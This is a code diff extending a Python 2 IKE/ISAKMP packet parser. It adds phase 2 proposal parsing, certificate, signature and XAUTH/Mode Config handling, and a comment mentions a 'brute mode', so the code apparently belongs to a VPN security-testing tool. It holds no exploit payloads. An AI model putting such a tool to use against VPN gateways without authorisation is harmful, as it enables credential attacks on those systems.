{'1':'INVALID-PAYLOAD-TYPE','2':'DOI-NOT-SUPPORTED','3':'SITUATION-NOT-SUPPORTED','4':'INVALID-COOKIE','5':'INVALID-MAJOR-VERSION','6':'INVALID-MINOR-VERSION','7':'INVALID-EXCHANGE-TYPE','8':'INVALID-FLAGS','9':'INVALID-MESSAGE-ID','10':'INVALID-PROTOCOL-ID','11':'INVALID-SPI','12':'INVALID-TRANSFORM-ID','13':'ATTRIBUTES-NOT-SUPPORTED','14':'NO-PROPOSAL-CHOSEN','15':'BAD-PROPOSAL-SYNTAX','16':'PAYLOAD-MALFORMED','17':'INVALID-KEY-INFORMATION','18':'INVALID-ID-INFORMATION','19':'INVALID-CERT-ENCODING','20':'INVALID-CERTIFICATE','21':'CERT-TYPE-UNSUPPORTED','22':'INVALID-CERT-AUTHORITY','23':'INVALID-HASH-INFORMATION','24':'AUTHENTICATION-FAILED','25':'INVALID-SIGNATURE','26':'ADDRESS-NOTIFICATION','27':'NOTIFY-SA-LIFETIME','28':'CERTIFICATE-UNAVAILABLE','29':'UNSUPPORTED-EXCHANGE-TYPE','30':'UNEQUAL-PAYLOAD-LENGTHS', '24576': 'STATUS_RESP_LIFETIME', '36136':'R-U-THERE','36137':'R-U-THERE-ACK'} dicMCFGType = {'0':'RESERVED','1':'ISAKMP_CFG_REQUEST','2':'ISAKMP_CFG_REPLY','3':'ISAKMP_CFG_SET','4':'ISAKMP_CFG_ACK','5-127':'Reserved for Future Use','128-255':'Reserved for Private Use'} dicMCFGAtt = {'0':'RESERVED','1':'INTERNAL_IP4_ADDRESS','2':'INTERNAL_IP4_NETMASK','3':'INTERNAL_IP4_DNS','4':'INTERNAL_IP4_NBNS','5':'INTERNAL_ADDRESS_EXPIRY','6':'INTERNAL_IP4_DHCP','7':'APPLICATION_VERSION','13':'INTERNAL_IP4_SUBNET','14':'SUPPORTED_ATTRIBUTES'}#missing ipv6 values dicXAUTHAtts = {'16520':'XAUTH_TYPE','16521':'XAUTH_USER_NAME','16522':'XAUTH_USER_PASSWORD','16523':'XAUTH_PASSCODE','16524':'XAUTH_MESSAGE','16525':'XAUTH_CHALLENGE','16526':'XAUTH_DOMAIN','16527':'XAUTH_STATUS'} dicXAUTHTypes = {'0':'Generic','1':'RADIUS-CHAP','2':'OTP','3':'S/KEY','4-32767':'Reserved for future use','32768-65535':'Reserved for private use'} - + dicIDESP = {'0':'Reserved','1':'ENCR_DES_IV64','2':'ENCR_DES','3':'ENCR_3DES','4':'ENCR_RC5','5':'ENCR_IDEA','6':'ENCR_CAST','7':'ENCR_BLOWFISH','8':'ENCR_3IDEA','9':'ENCR_DES_IV32','10':'Reserved','11':'ENCR_NULL','12':'ENCR_AES_CBC','13':'ENCR_AES_CTR','14':'ENCR_AES-CCM_8','15':'ENCR-AES-CCM_12','16':'ENCR-AES-CCM_16','17':'Unassigned'} + dicAttsESP = {'0':'Reserved','1':'SA Life Type','2':'SA Life Duration','3':'Group Description','4':'Encapsulation Mode','5':'Authentication Algorithm','6':'Key Length','7':'Key Rounds'} + dicEncModeTypeESP = {'0':'Reserved', '1':'Tunnel', '2':'Transport'} + dicATypeESP = {'0':'Reserved', '1':'HMAC-MD5', '2':'HMAC-SHA', '3':'DES-MAC', '4':'KPDK'} + dicCertType = {'0':'NONE','1':'PKCS7 wrapped X.509 certificate','2':'PGP Certificate','3':'DNS Signed Key','4':'X.509 Certificate - Signature','5':'X.509 Certificate - Key Exchange','6':'Kerberos Tokens','7':'Certificate Revocation List CRL','8':'Authority Revocation List ARL','9':'SPKI Certificate','10':'X.509 Certificate - Attribute'} retData = [] #List of data to return, things required for future crypto def __init__(self,debug): self.debug = debug - def transformCalculations(self, hexPacket, prevPayLen): + def transformCalculations(self, hexPacket, payLen, phase): transAtts = [] - ###***This method needs to be cleaned up - numAtts = prevPayLen + 56#56 = sa and proposal payloads + transform payload header, static value for now but may need to be dynamic if these are variable length which I don't think they are - transAtts.append(hexPacket[numAtts:numAtts+8]) - payLen = int(hexPacket[prevPayLen+44:prevPayLen+48],16) - finByte = numAtts - 16 + payLen*2# 16 is the length of the transform payload header (8 bytes) + numAtts = 0 # 16 (8 bytes) = transform header length + finByte = payLen #Check the type of value (fixed or long unsigned), fixed byte length or a non-fixed value + atts = {} while numAtts < finByte: - for i in xrange(0,16):#16 is the limit set in the IKE RFC but this is not explicitly followed by all vendors + ###***add whilte paynext != 0 here? if hexPacket[numAtts:numAtts+2] == "80": + ###***should be able to remove this list and just go with the dictionary only transAtts.append(hexPacket[numAtts:numAtts+8]) if self.debug > 0: print "Value type has fixed size" + attType = int(hexPacket[numAtts+2:numAtts+4],16) + attValue = int(hexPacket[numAtts+4:numAtts+8],16) + atts[attType] = attValue numAtts += 8 elif hexPacket[numAtts:numAtts+2] == "00": @@ -60,107 +66,212 @@ def transformCalculations(self, hexPacket, prevPayLen): if self.debug > 0: print "Value type not fixed" print "Transform length: %s"%transLen - numAtts += 8 + (transLen * 2) + attType = int(hexPacket[numAtts+2:numAtts+4],16) + attLen = int(hexPacket[numAtts+4:numAtts+8],16)*2 + attValue = hexPacket[numAtts+8:numAtts+8+attLen] + atts[attType] = attValue + numAtts = numAtts + (transLen * 2) + 8# 8 = attributes header else: - if self.debug > 0: - print "End of transform set" + try: + payNext = int(hexPacket[numAtts:numAtts+2],16) + if payNext == 3: + numAtts = numAtts+16 # 16 = transform header + + if self.debug > 0: + print "End of transform set" + break + except: + if self.debug > 0: + print "End of transform set" + break + + else: break + #Find number of transforms, parse them and add them to a human readable dictionary for later use - ###***There is duplication here this next bit can probably be removed and processed in the above loop numTrans = len(transAtts) - if self.debug > 0: - print "Transforms attributes to process: %s"%numTrans - print "Full Transforms dictionary: %s"%transAtts - atts = {} - for i in xrange(0,numTrans): - if transAtts[i][0:2] == "80": - attType = int(transAtts[i][2:4],16) - attValue = int(transAtts[i][4:8],16) - atts[attType] = attValue - elif transAtts[i][0:2] == "00": - attType = int(transAtts[i][2:4],16) - attLen = int(transAtts[i][4:8],16)*2 - attValue = int(transAtts[i][8:8+attLen],16) - atts[attType] = attValue - else: - print "Invalid transform attribute, something went wrong" - exit() attDict = {} #Process the transform according to it's attribute class/type - for i in atts: - att = atts[i] - attType = self.dicAtts[str(i)] - if attType == "Encryption Algorithm": - attValue = self.dicEType[str(att)] - attDict[attType] = attValue - if self.debug > 0: - print "%s : %s"%(attType,attValue) - pass - elif attType == "Hash Algorithm": - attValue = self.dicHType[str(att)] - attDict[attType] = attValue - if self.debug > 0: - print "%s : %s"%(attType,attValue) - pass - elif attType == "Authentication Method": - attValue = self.dicAType[str(att)] - attDict[attType] = attValue - if self.debug > 0: - print "%s : %s"%(attType,attValue) - pass - elif attType == "Group Description": - attValue = self.dicDHGroup[str(att)] - attDict[attType] = attValue - if self.debug > 0: - print "%s : %s"%(attType,attValue) - pass - elif attType == "Life Type": - attValue = self.dicLType[str(att)] - attDict[attType] = attValue - if self.debug > 0: - print "%s : %s"%(attType,attValue) - pass - elif attType == "Life Duration": - attDict[attType] = att - if self.debug > 0: - print "%s : %s"%(attType,att) - pass - elif attType == "Key Length": - attDict[attType] = att - if self.debug > 0: - print "%s : %s"%(attType,att) - pass - else: - if self.debug > 0: - print "Unsupported Transform attribute type received. Continuing anyway...\n" + if phase == 1: + for i in atts: + att = atts[i] + attType = self.dicAtts[str(i)] + if attType == "Encryption Algorithm": + attValue = self.dicEType[str(att)] + attDict[attType] = attValue + if self.debug > 0: + print "%s : %s"%(attType,attValue) + pass + elif attType == "Hash Algorithm": + try: + attValue = self.dicHType[str(att)] + except: + attValue = str(att) + attDict[attType] = attValue + if self.debug > 0: + print "%s : %s"%(attType,attValue) + pass + elif attType == "Authentication Method": + attValue = self.dicAType[str(att)] + attDict[attType] = attValue + if self.debug > 0: + print "%s : %s"%(attType,attValue) + pass + elif attType == "Group Description": + attValue = self.dicDHGroup[str(att)] + attDict[attType] = attValue + if self.debug > 0: + print "%s : %s"%(attType,attValue) + pass + elif attType == "Life Type": + attValue = self.dicLType[str(att)] + attDict[attType] = attValue + if self.debug > 0: + print "%s : %s"%(attType,attValue) + pass + elif attType == "Group Prime/Irreducible Polynomial": + attDict[attType] = att + if self.debug > 0: + print "%s : %s"%(attType,att) + pass + + elif attType == "Life Duration": + attDict[attType] = att + if self.debug > 0: + print "%s : %s"%(attType,att) + pass + elif attType == "Key Length": + attDict[attType] = att + if self.debug > 0: + print "%s : %s"%(attType,att) + pass + else: + if self.debug > 0: + print "Unsupported Transform attribute type received. Continuing anyway...\n" + elif phase == 2: + for i in atts: + att = atts[i] + attType = self.dicAttsESP[str(i)] + if attType == "SA Life Type": + attDict[attType] = att + if self.debug > 0: + print "%s : %s"%(attType,att) + pass + elif attType == "SA Life Duration": + attDict[attType] = att + if self.debug > 0: + print "%s : %s"%(attType,att) + pass + elif attType == "Group Description": + attDict[attType] = att + if self.debug > 0: + print "%s : %s"%(attType,att) + pass + elif attType == "Encapsulation Mode": + attValue = self.dicEncModeTypeESP[str(att)] + attDict[attType] = attValue + if self.debug > 0: + print "%s : %s"%(attType,attValue) + pass + elif attType == "Authentication Algorithm": + attValue = self.dicATypeESP[str(att)] + attDict[attType] = attValue + if self.debug > 0: + print "%s : %s"%(attType,attValue) + pass + elif attType == "Key Length": + attDict[attType] = att + if self.debug > 0: + print "%s : %s"%(attType,att) + pass + elif attType == "Key Rounds": + attDict[attType] = att + if self.debug > 0: + print "%s : %s"%(attType,att) + pass + elif attType == "Compress Dictionary Size": + attDict[attType] = att + if self.debug > 0: + print "%s : %s"%(attType,att) + pass + elif attType == "Compress Private Algorithm": + attDict[attType] = att + if self.debug > 0: + print "%s : %s"%(attType,att) + pass + else: + if self.debug > 0: + print "Unsupported Transform attribute type received. Continuing anyway...\n" + return attDict,finByte - def transformParsing(self, hexPacket, prevPayLen, propTrans, saPayLen, saFinByte): + def transformParsing(self, hexPacket, propTrans, propHdrSize, phase): #Requires hex packet data, previous payload length, the length up to the end of the last payload processed, number of transforms to process, - payNext = int(hexPacket[prevPayLen+40:prevPayLen+42],16) #padded an extra 2 bytes (reserved space - payLen = int(hexPacket[prevPayLen+44:prevPayLen+48],16) - transNum = hexPacket[prevPayLen+48:prevPayLen+50] - transId = hexPacket[prevPayLen+50:prevPayLen+52] - padding = hexPacket[prevPayLen+52:prevPayLen+56]#padded 4 bytes to +16 - + payNext = int(hexPacket[:2],16) #padded an extra 2 bytes (reserved space) + payLen = int(hexPacket[4:8],16) + transNum = hexPacket[8:10] + transId = hexPacket[10:12] + padding = hexPacket[12:16]#padded 4 bytes to +16 + finByte = (payLen*2)# + 16 # 16 = transform payload header + transPayload = hexPacket[propHdrSize+16:finByte]#40 = proposal header + transform header if self.debug > 0: print "Parsing Transform Payloads:" print "Next Payload: %s"%self.dicPayloads[str(payNext)] print "Payload Length: %s"%payLen print "Transform Number: %s"%transNum - print "Transform ID: %s"%transId + if phase == 2: + print "Transform ID: %s"%self.dicIDESP[str(int(transId, 16))] + elif phase == 1: + print "Transform ID: %s"%transId - for i in range(1,propTrans+1): - if self.debug > 0: - print "Parsing Transform Set %s:"%i - transCalc = self.transformCalculations(hexPacket, prevPayLen) #sa payload length plus 4 bytes of padding is where the transform payload begins?# + 12 bytes for the proposal header, not sure if this will cover all scenarios + lenTrans = finByte + transCalc = self.transformCalculations(transPayload, finByte, phase) + if phase == 2: + transCalc[0]["Encryption Type"] = self.dicIDESP[str(int(transId, 16))] + return transCalc, lenTrans, payNext#dictionary of accepted transform set and final byte of the proposal/transform payload - #need these to do every transform, at the moment only processes the first over and over - return transCalc #dictionary of accepted transform set and final byte of the proposal/transform payload + def parseProposal(self, hexPacket, phase): + #Process the proposal header + #this method needs to be fed only the proposal payload with no sa header + payNext = int(hexPacket[:2],16)#Padding 2 bytes after this (reserved space) + payLen = int(hexPacket[4:8],16) + propNum = hexPacket[8:10] + protId = int(hexPacket[10:12], 16) + spiSize = int(hexPacket[12:14],16) + propTrans = int(hexPacket[14:16],16) + if spiSize != 0: + spi = hexPacket[16:16+(spiSize*2)] + else: + spi = 0 + hdrfinByte = 16 + (spiSize*2) #header plus spi payload + if self.debug > 0: + print "Parsing Proposal Payload:" + print "Next Payload: %s"%self.dicPayloads[str(payNext)] + print "Payload Length: %s"%payLen + print "Proposal Number: %s"%int(propNum, 16) + print "Protocol ID: %s"%protId + print "SPI Size: %s"%spiSize + print "Proposal Transforms: %s"%propTrans + print "SPI: %s\n"%spi + + SA = self.transformParsing(hexPacket, propTrans, hdrfinByte, phase) + transform = SA[0] + ###***tidy this lot up a bit, eventually remove most of the finByte crap + finByte = (payLen*2) + + if int(protId) == 3: + phase = 2 + else: + phase = 1 + + if phase == 2: + return payNext,transform,propTrans,hdrfinByte,spi,finByte + elif phase == 1: + return payNext,transform,propTrans,hdrfinByte,finByte def parseHeader(self,hexPacket): #IKE HDR 28 bytes @@ -189,43 +300,93 @@ def parseHeader(self,hexPacket): return payNext,iCookie,rCookie,version,xType,msgID,payLen,flags,finByte - def parseSA(self, hexPacket, prevPayLen): + def parseSA(self, hexPacket, phase): #Process SA payload - #Requires hexlified packet and previous payload length as a starting point for the current payload + #Requires hexlified whole SA payload including header and which phase we are negotiating #Begin with the SA header - saPayNext = int(hexPacket[prevPayLen:prevPayLen+2], 16) #Padding 2 bytes after this (reserved space) - saPayLen = int(hexPacket[prevPayLen+4:prevPayLen+8], 16) - doi = hexPacket[prevPayLen+8:prevPayLen+16] - sit = hexPacket[prevPayLen+16:prevPayLen+24] - saFinByte = saPayLen + prevPayLen - + payNext = int(hexPacket[:2], 16) #Padding 2 bytes after this (reserved space) + payLen = int(hexPacket[4:8], 16) + doi = hexPacket[8:16] + sit = hexPacket[16:24] + fullSAPayload = hexPacket[:payLen*2] if self.debug > 0: print "Parsing SA payload:" - print "Next Payload: %s"%self.dicPayloads[str(saPayNext)] + print "Next Payload: %s"%self.dicPayloads[str(payNext)] + print "Payload length: %s"%payLen print "Domain of Interpretation: %s"%doi print "Situation: %s"%sit - print "Full SA Payload: %s\n"%hexPacket[prevPayLen:prevPayLen+(saPayLen*2)] - - #Then process the proposal header - propPayNext = int(hexPacket[prevPayLen+24:prevPayLen+26],16)#Padding 2 bytes after this (reserved space) - propPayLen = int(hexPacket[prevPayLen+28:prevPayLen+32],16) - propNum = hexPacket[prevPayLen+32:prevPayLen+34] - protId = hexPacket[prevPayLen+34:prevPayLen+36] - spiSize = hexPacket[prevPayLen+36:prevPayLen+38] - propTrans = int(hexPacket[prevPayLen+38:prevPayLen+40],16) - - #Finally process the Transform payload - SA = self.transformParsing(hexPacket, prevPayLen, propTrans, saPayLen, saFinByte)#use sa payload length plus 4 bytes of pad as starting point for the transform attributes? - transform = SA[0] - finByte = SA[-1] + print "Full SA Payload: %s\n"%fullSAPayload + fullPropPayload = fullSAPayload[24:] #minus SA header + ikeProp = self.parseProposal(fullPropPayload, phase) + payNextSA = payNext + payNext = ikeProp[0] + transform = ikeProp[1] + propTrans = ikeProp[2] + if phase == 1: + propHdrSize = ikeProp[-2] + elif phase == 2: + propHdrSize = ikeProp[-3] + spi = ikeProp[-2] + ###**this bit could be written better, can't remember if the extra 24 in phase 1 is the sa header? + if phase == 1: + finByte = payLen*2 + propHdrSize + 16 + 24 + return payNextSA,payNext,transform,payLen,finByte + elif phase ==2: + finByte = propHdrSize + ikeProp[-1] + return payNextSA,payNext,transform,payLen,spi,finByte + + + def parseCR(self,hexPacket,prevPayLen): + #Process Certificate Request payload + #Requires hexlified packet and previous payload length as a starting point for the current payload + payNext = int(hexPacket[prevPayLen:prevPayLen+2], 16)#Padding with 2 bytes (reserved space) + payLen = int(hexPacket[prevPayLen+4:prevPayLen+8], 16) + cType = hexPacket[prevPayLen+8:prevPayLen+10] + caData = hexPacket[prevPayLen+10:prevPayLen+(payLen * 2)] + finByte = prevPayLen + (payLen * 2) if self.debug > 0: - print "Parsing Proposal Payload:" - print "Next Payload: %s"%self.dicPayloads[str(propPayNext)] - print "Payload Length: %s"%propPayLen - print "SPI Size: %s"%spiSize - print "Proposal Transforms: %s\n"%propTrans - return saPayNext,transform,saPayLen,finByte + print "Parsing Certificate Request Payload:" + print "Next Payload: %s"%self.dicPayloads[str(payNext)] + print "Payload Length: %s"%payLen + print "Certificate Type: %s (%s)"%(cType,self.dicCertType[str(int(cType))]) + print "Certificate Authority: %s\n"%caData + return payNext,cType,caData,payLen,finByte + + + def parseC(self,hexPacket,prevPayLen): + #Process Certificate payload + #Requires hexlified packet and previous payload length as a starting point for the current payload + payNext = int(hexPacket[prevPayLen:prevPayLen+2], 16)#Padding with 2 bytes (reserved space) + payLen = int(hexPacket[prevPayLen+4:prevPayLen+8], 16) + cType = hexPacket[prevPayLen+8:prevPayLen+10] + caData = hexPacket[prevPayLen+10:prevPayLen+(payLen * 2)] + finByte = prevPayLen + (payLen * 2) + + if self.debug > 0: + print "Certificate Request Payload:" + print "Next Payload: %s"%self.dicPayloads[str(payNext)] + print "Payload Length: %s"%payLen + print "Certificate Type: %s\n"%cType + print "Certificate Authority: %s\n"%caData + return payNext,cType,caData,payLen,finByte + + + + def parseSig(self,hexPacket,prevPayLen): + #Process Signature payload + #Requires hexlified packet and previous payload length as a starting point for the current payload + payNext = int(hexPacket[prevPayLen:prevPayLen+2], 16)#Padding with 2 bytes (reserved space) + payLen = int(hexPacket[prevPayLen+4:prevPayLen+8], 16) + sigData = hexPacket[prevPayLen+10:prevPayLen+(payLen * 2)] + finByte = prevPayLen + (payLen * 2) + + if self.debug > 0: + print "Parsing Signature Payload:" + print "Next Payload: %s"%self.dicPayloads[str(payNext)] + print "Payload Length: %s"%payLen + print "Signature Data: %s\n"%sigData + return payNext,sigData,payLen,finByte def parseKE(self,hexPacket,prevPayLen): @@ -259,7 +420,7 @@ def NonceProcessing(self,hexPacket,prevPayLen): return payNext,nonce,payLen,finByte - def IDProcessing(self,hexPacket,prevPayLen): + def parseID(self,hexPacket,prevPayLen): #Process ID payload #Requires hexlified packet and previous payload length as a starting point for the curr payNext = int(hexPacket[prevPayLen:prevPayLen+2], 16)#Padding with 2 bytes (reserved space) @@ -274,7 +435,10 @@ def IDProcessing(self,hexPacket,prevPayLen): print "Parsing ID Payload:" print "Next Payload: %s"%self.dicPayloads[str(payNext)] print "Payload Length: %s"%payLen - print "ID Type: %s"%self.dicIDType[str(int(IDtype,16))] + try: + print "ID Type: %s (%s)"%(self.dicIDType[str(int(IDtype,16))],int(IDtype,16)) + except: + print "ID Type: %s"%int(IDtype,16) print "ID Data: %s\n"%IDdata ID_r = IDtype+IDprot+port+IDdata @@ -299,11 +463,39 @@ def parseHash(self,hexPacket,prevPayLen): return payNext,hashData,payLen,finByte + def parseQMHash(self,hexPacket,hashType): + #Process Quick Mode Hash payload + #payNext = 1 + payNext = int(hexPacket[prevPayLen:prevPayLen+2], 16)#Padding with 2 bytes (reserved space) + payLen = int(hexPacket[prevPayLen+4:prevPayLen+8], 16) + if hashType == "md5": + hashData = hexPacket[:32] + finByte = 32 + elif hashType == "sha": + hashData = hexPacket[:40] + finByte = 40 + else: + print "Unsupported hash type. Exiting..." + exit() + + + if self.debug > 0: + print "Parsing Hash Payload:" + try: + print "Next Payload: %s"%self.dicPayloads[str(int(payNext,16))] + except: + print "Next Payload: %s"%self.dicPayloads[str(payNext)] + print "Payload Length: %s"%payLen + print "Hash Data: %s\n"%hashData + + return payNext,hashData,finByte + + def parseXAUTH(self, hexPacket, firstByte, finByte): attsXAUTH = {} atts = firstByte if self.debug > 0: - print "XAUTH Payload: %s"%hexPacket[firstByte:] + print "Mode CFG Payload: %s"%hexPacket[firstByte:] while atts < finByte: #Parse attribute type and length then store type and value as dictionary attXAUTH = hexPacket[atts:atts+4] @@ -323,6 +515,22 @@ def parseXAUTH(self, hexPacket, firstByte, finByte): elif attXAUTH == 16527 and attXAUTHValue == 1: if self.debug > 0: print "XAUTH Authentication Successful" + + elif attXAUTH == 16385: + attLen = int(hexPacket[atts+4:atts+8],16)*2 + attXAUTHValue = hexPacket[atts+8:atts+8+attLen] + if self.debug > 0: + try: + print "Mode Config Attribute Type: %s (%s)"%(self.dicXAUTHAtts[str(attXAUTH)],attXAUTH) + except: + print "Mode Config Attribute Type: Unknown (%s)"%attXAUTH + print "Mode Config Attribute Length: %s"%attLen + print "Mode Config Attribute Value: %s (%s)"%(attXAUTHValue.decode('hex'), attXAUTHValue) + if len(attXAUTHValue) == 8: + dicCrypto["MCFG_IPi"] = attXAUTHValue + ip = str(int(attXAUTHValue[:2], 16)) + "." + str(int(attXAUTHValue[2:4], 16)) + "." + str(int(attXAUTHValue[4:6], 16)) + "." + str(int(attXAUTHValue[6:8], 16)) + print "Received IP address: %s"%ip + atts += 8 else: attLen = int(hexPacket[atts+4:atts+8],16)*2 @@ -334,7 +542,6 @@ def parseXAUTH(self, hexPacket, firstByte, finByte): print "Mode Config Attribute Type: Unknown (%s)"%attXAUTH print "Mode Config Attribute Length: %s"%attLen print "Mode Config Attribute Value: %s (%s)"%(attXAUTHValue.decode('hex'), attXAUTHValue) - atts += attLen atts += 8 attsXAUTH[attXAUTH] = attXAUTHValue @@ -347,7 +554,6 @@ def parseModeCFG(self,hexPacket,prevPayLen): payLen = int(hexPacket[prevPayLen+4:prevPayLen+8], 16) mcfgType = int(hexPacket[prevPayLen+8:prevPayLen+10], 16)#Padding with 2 bytes (reserved space) mcfgID = int(hexPacket[prevPayLen+12:prevPayLen+14], 16) - mcfgAtt = hexPacket[prevPayLen+16:prevPayLen+(payLen * 2)] finByte = prevPayLen + (payLen * 2) firstByte = prevPayLen+16 @@ -440,7 +646,7 @@ def parseDel(self,hexPacket,prevPayLen): if self.debug > 0: print "Parsing Delete Payload:" - print "Next Payload: %s"%self.dicPayloads[str(payNext)] + print "Next Payload: %s"%self.dicPayloads[str(payNext)] print "Payload Length: %s"%payLen print "DOI: %s"%doi print "Protocol ID: %s"%protID @@ -450,28 +656,54 @@ def parseDel(self,hexPacket,prevPayLen): return payNext,payLen,finByte - def parsePayload(self,hexPacket,nextPay,flags,finByte): + def parsePayload(self,hexPacket,nextPay,flags,finByte, phase): #Process payload according to 'next payload' type received from previous payload #Provide the hexlified packet data and the next payload, flag and final byte while nextPay != 0: if nextPay == 1: #Process SA -> Proposal -> transform payloads - ikeSA = self.parseSA(hexPacket,finByte) - finByte = ikeSA[-1] - SATransform = ikeSA[1]#will need to return the transform values eventually - nextPay = ikeSA[0] + ikeSA = self.parseSA(hexPacket[finByte:], phase) + if phase == 1: + finByte = ikeSA[-1] + SATransform = ikeSA[2]#will need to return the transform values eventually + nextPay = ikeSA[0] + if phase == 2: + finByte = ikeSA[-1]+finByte + SATransform = ikeSA[2]#will need to return the transform values eventually + nextPay = ikeSA[0] + spi = ikeSA[-2] + dicCrypto["p2spi"] = spi + for l in SATransform[0]: + dicCrypto[l] = SATransform[0][l] + try: dicCrypto["keyLen"] = SATransform["Key Length"] - pass except: pass elif nextPay == 2: - print "Next Payload %s - Support for this payload is not supported yet"%self.dicPayloads[str(nextPay)] - exit() + #Process Proposal -> transform payloads + ikeProp = self.parseProposal(hexPacket[finByte:],phase) + if phase == 1: + finByte = ikeProp[-1] + SATransform = ikeProp[1]#will need to return the transform values eventually + nextPay = ikeProp[0] + if phase == 2: + finByte = ikeProp[-1] + SATransform = ikeProp[1]#will need to return the transform values eventually + nextPay = ikeProp[0] + spi = ikeProp[-3] + dicCrypto["p2spi"] = spi + for l in SATransform: + dicCrypto[l] = SATransform[l] + try: + dicCrypto["keyLen"] = SATransform["Key Length"] + pass + except: + pass elif nextPay == 3: - print "Next Payload %s - Support for this payload is not supported yet"%self.dicPayloads[str(nextPay)] + print "Next Payload %s - Support for multiple transform sets not added yet"%self.dicPayloads[str(nextPay)] exit() elif nextPay == 4: @@ -484,17 +716,27 @@ def parsePayload(self,hexPacket,nextPay,flags,finByte): elif nextPay == 5: #Process ID payload - ikeID = self.IDProcessing(hexPacket,finByte) + ikeID = self.parseID(hexPacket,finByte) ID_r = ikeID[1] finByte = ikeID[-1] nextPay = ikeID[0] dicCrypto["ID_r"] = ID_r elif nextPay == 6: - print "Next Payload (%s) - Support for this payload is not supported yet"%self.dicPayloads[str(nextPay)] + #Process Certificate payload + ikeC = self.parseC(hexPacket,finByte) + Cencoding = ikeC[1] + Cdata = ikeC[2] + finByte = ikeC[-1] + nextPay = ikeC[0] elif nextPay == 7: - print "Next Payload (%s) - Support for this payload is not supported yet"%self.dicPayloads[str(nextPay)] + #Process Certificate Request payload + ikeCR = self.parseCR(hexPacket,finByte) + CRencoding = ikeCR[1] + CRdata = ikeCR[2] + finByte = ikeCR[-1] + nextPay = ikeCR[0] elif nextPay == 8: #Process Hash payload @@ -505,8 +747,11 @@ def parsePayload(self,hexPacket,nextPay,flags,finByte): #Don't see the need to check for a valid hash yet elif nextPay == 9: - print "Next Payload %s - Support for this payload is not supported yet"%self.dicPayloads[str(nextPay)] - exit() + #Process Signature payload + ikeSig = self.parseSig(hexPacket,finByte) + ikeSigData = ikeSig[1] + finByte = ikeSig[-1] + nextPay = ikeSig[0] elif nextPay == 10: #Process Nonce payload @@ -521,8 +766,9 @@ def parsePayload(self,hexPacket,nextPay,flags,finByte): ikeNot = self.parseNot(hexPacket,finByte) finByte = ikeNot[-1] nextPay = ikeNot[0] + notData = ikeNot[2] dicCrypto["notmsgType"] = ikeNot[1] - + dicCrypto["notData"] = notData elif nextPay == 12: #Parse Delete payload ikeNot = self.parseDel(hexPacket,finByte) @@ -544,10 +790,26 @@ def parsePayload(self,hexPacket,nextPay,flags,finByte): finByte = ikeMCFG[-1] nextPay = ikeMCFG[0] dicCrypto["mcfgType"] = ikeMCFG[1] + #dicCrypto["MCFG_IPi"] = 0 + #dicCrypto["MCFG_IPr"] = 0 attsXAUTH = ikeMCFG[-2] for key, value in attsXAUTH.iteritems(): if key == 16527: dicCrypto["XAUTH_STATUS"] = value + ###***clean this up + #elif key == 16385 and value != 0: + # dicCrypto["MCFG_IPi"] = value + elif key == 16385 and value == 0: + dicCrypto["MCFG_IPr"] = value + elif key == 16386: + dicCrypto["MCFG_subnet"] = value + elif nextPay == 15: + #Process NAT-D payload + ikeNATD = self.parseNATD(hexPacket,finByte) + ikeNATDdata = ikeNATD[1] + finByte = ikeNATD[-1] + nextPay = ikeNATD[0] + elif nextPay == 20: #Process NAT-D payload ikeNATD = self.parseNATD(hexPacket,finByte) @@ -564,10 +826,15 @@ def parsePayload(self,hexPacket,nextPay,flags,finByte): nextPay = ikeVID[0] else: - print "Error: Invalid 'next payload', something went wrong. Perhaps an invalid next payload type or support for this payload is not added yet?\nThis could also be caused by an invalid payload decryption due to invalid IV or key.\nMost common cause for this is multiple instances of the tool being run in short succession causing confusion. For now just wait 30-60 seconds and restart.\nDebug output:\n%s"%nextPay + print "Error: Invalid 'next payload', something went wrong. Perhaps an invalid next payload type or support for this payload is not added yet.\nThis is usually caused by an invalid payload decryption due to invalid IV or key.\nDebug output:\nNext Payload: %s"%nextPay + print "Whole packet: %s"%hexPacket + print "Crypto values: %s"%dicCrypto + ###***remove exit from below to prevent bug? Maybe add break + ###EDIT + exit() - - return self.retData + ###/EDIT + return def main(self,hexPacket,encType,hashType,*args): @@ -593,6 +860,11 @@ def main(self,hexPacket,encType,hashType,*args): msgID = ikeHDR[5] payLen = ikeHDR[6] flags = ikeHDR[7] + if xType == 32: + phase = 2 + else: + phase = 1 + if encType == "AES" or int(encType) == 7 or encType == "07": IVlen = 32 else: @@ -619,7 +891,7 @@ def main(self,hexPacket,encType,hashType,*args): ikePlain = ikeDecrypt.decrypt(rawencPayload).encode('hex') if self.debug > 0: print "Decrypted payload: %s"%ikePlain - ikeHandling.parsePayload(ikePlain,nextPay,flags,0) + ikeHandling.parsePayload(ikePlain,nextPay,flags,0,phase) p2IV = encPayload[len(encPayload)-IVlen:] if self.debug > 0: print "Phase 2 IV: %s"%p2IV @@ -642,7 +914,7 @@ def main(self,hexPacket,encType,hashType,*args): print "Stripped decrypted payload: %s"%ikePlain #Parse the plaintext payloads if xType == "04" or xType ==4: - ikeHandling.parsePayload(ikePlain,nextPay,flags,0) + ikeHandling.parsePayload(ikePlain,nextPay,flags,0,phase) dicCrypto["rCookie"] = rCookie dicCrypto["xType"] = xType dicCrypto["iCookie"] = iCookie @@ -651,7 +923,7 @@ def main(self,hexPacket,encType,hashType,*args): elif xType == "05" or xType == 5: - ikeHandling.parsePayload(ikePlain,nextPay,flags,0) + ikeHandling.parsePayload(ikePlain,nextPay,flags,0,phase) dicCrypto["rCookie"] = rCookie dicCrypto["xType"] = xType dicCrypto["iCookie"] = iCookie @@ -659,26 +931,40 @@ def main(self,hexPacket,encType,hashType,*args): return dicCrypto,listVIDs elif xType == "06" or xType == 6: - ikeHandling.parsePayload(ikePlain,nextPay,flags,0) + ikeHandling.parsePayload(ikePlain,nextPay,flags,0,phase) dicCrypto["rCookie"] = rCookie dicCrypto["xType"] = xType dicCrypto["iCookie"] = iCookie dicCrypto["msgID"] = msgID return dicCrypto + elif xType == "32" or xType == 32: + ikeHandling.parsePayload(ikePlain,nextPay,flags,0,phase) + dicCrypto["rCookie"] = rCookie + dicCrypto["xType"] = xType + dicCrypto["iCookie"] = iCookie + dicCrypto["msgID"] = msgID + return dicCrypto + + else: print "This exchange type %s is not included yet. Exiting..."%xType exit() except Exception,e: print "Decryption Failed with error: %s"%e + ###***added debug output here for bug fix traceback.print_exc() + ###***brute mode breaks here when incorrect IV is used + ###EDIT exit() + #break + ###/EDIT if xType == "04" or xType ==4: - ikeHandling.parsePayload(hexPacket,nextPay,flags,finByte) + ikeHandling.parsePayload(hexPacket,nextPay,flags,finByte,phase) dicCrypto["rCookie"] = rCookie 